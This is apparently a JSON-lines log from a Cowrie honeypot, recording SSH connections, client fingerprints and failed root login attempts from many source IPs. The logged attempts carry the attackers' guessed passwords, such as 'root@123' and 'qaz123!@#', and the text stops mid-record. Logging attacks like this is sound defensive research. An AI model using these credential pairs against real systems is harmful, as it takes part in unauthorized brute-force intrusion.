{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":43270,"dst_ip":"10.17.0.5","dst_port":22,"session":"da04a99991de","protocol":"ssh","message":"New connection: 190.119.63.98:43270 (10.17.0.5:22) [session: da04a99991de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:18.008531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:18.013932Z","src_ip":"190.119.63.98","session":"da04a99991de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:18.174436Z","src_ip":"190.119.63.98","session":"da04a99991de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.33438301086426,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:18.410288Z","src_ip":"192.119.13.58","session":"8f1e848b6492","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"liujin","message":"login attempt [root/liujin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:18.885601Z","src_ip":"190.119.63.98","session":"da04a99991de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:20.149138Z","src_ip":"190.119.63.98","session":"da04a99991de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":53648,"dst_ip":"10.17.0.5","dst_port":22,"session":"c048059ef0dc","protocol":"ssh","message":"New connection: 43.134.1.45:53648 (10.17.0.5:22) [session: c048059ef0dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:20.468346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:20.473657Z","src_ip":"43.134.1.45","session":"c048059ef0dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:20.710856Z","src_ip":"43.134.1.45","session":"c048059ef0dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:21.689629Z","src_ip":"43.134.1.45","session":"c048059ef0dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:22.929608Z","src_ip":"43.134.1.45","session":"c048059ef0dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":35454,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7ffb5257f75","protocol":"ssh","message":"New connection: 77.94.47.83:35454 (159.203.135.109:22) [session: f7ffb5257f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:26.060328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:26.065105Z","src_ip":"77.94.47.83","session":"f7ffb5257f75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:26.190974Z","src_ip":"77.94.47.83","session":"f7ffb5257f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234123","message":"login attempt [root/1234123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:26.597834Z","src_ip":"77.94.47.83","session":"f7ffb5257f75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:27.725423Z","src_ip":"77.94.47.83","session":"f7ffb5257f75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":53838,"dst_ip":"159.203.135.109","dst_port":22,"session":"876c5124d0b0","protocol":"ssh","message":"New connection: 43.135.168.126:53838 (159.203.135.109:22) [session: 876c5124d0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:29.298365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:29.303309Z","src_ip":"43.135.168.126","session":"876c5124d0b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:29.372111Z","src_ip":"43.135.168.126","session":"876c5124d0b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"defiant","message":"login attempt [root/defiant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:29.675240Z","src_ip":"43.135.168.126","session":"876c5124d0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:30.749609Z","src_ip":"43.135.168.126","session":"876c5124d0b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":59598,"dst_ip":"10.17.0.5","dst_port":22,"session":"a516b66c759a","protocol":"ssh","message":"New connection: 43.128.112.183:59598 (10.17.0.5:22) [session: a516b66c759a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:32.980201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:32.985318Z","src_ip":"43.128.112.183","session":"a516b66c759a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:33.222682Z","src_ip":"43.128.112.183","session":"a516b66c759a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:34.202235Z","src_ip":"43.128.112.183","session":"a516b66c759a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":37426,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce0a8a62b32c","protocol":"ssh","message":"New connection: 209.99.190.200:37426 (10.17.0.5:22) [session: ce0a8a62b32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:34.693754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:34.700755Z","src_ip":"209.99.190.200","session":"ce0a8a62b32c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:34.797778Z","src_ip":"209.99.190.200","session":"ce0a8a62b32c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host@1234","message":"login attempt [root/host@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:35.220436Z","src_ip":"209.99.190.200","session":"ce0a8a62b32c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:35.442672Z","src_ip":"43.128.112.183","session":"a516b66c759a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:36.320290Z","src_ip":"209.99.190.200","session":"ce0a8a62b32c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.53.168.23","src_port":53676,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b4cf7272f0f","protocol":"ssh","message":"New connection: 163.53.168.23:53676 (10.17.0.5:22) [session: 6b4cf7272f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:45.252497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:45.257072Z","src_ip":"163.53.168.23","session":"6b4cf7272f0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:45.484071Z","src_ip":"163.53.168.23","session":"6b4cf7272f0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":46192,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2bf30fdf82c","protocol":"ssh","message":"New connection: 43.163.81.22:46192 (159.203.135.109:22) [session: c2bf30fdf82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:45.948320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:45.958473Z","src_ip":"43.163.81.22","session":"c2bf30fdf82c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:46.195727Z","src_ip":"43.163.81.22","session":"c2bf30fdf82c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passworD0","message":"login attempt [root/passworD0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:46.421230Z","src_ip":"163.53.168.23","session":"6b4cf7272f0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123!@#","message":"login attempt [root/qaz123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:47.174190Z","src_ip":"43.163.81.22","session":"c2bf30fdf82c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:47.650921Z","src_ip":"163.53.168.23","session":"6b4cf7272f0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:48.413944Z","src_ip":"43.163.81.22","session":"c2bf30fdf82c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":43642,"dst_ip":"10.17.0.5","dst_port":22,"session":"ced4ca55f00f","protocol":"ssh","message":"New connection: 43.153.56.192:43642 (10.17.0.5:22) [session: ced4ca55f00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:50.328918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:50.333841Z","src_ip":"43.153.56.192","session":"ced4ca55f00f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ss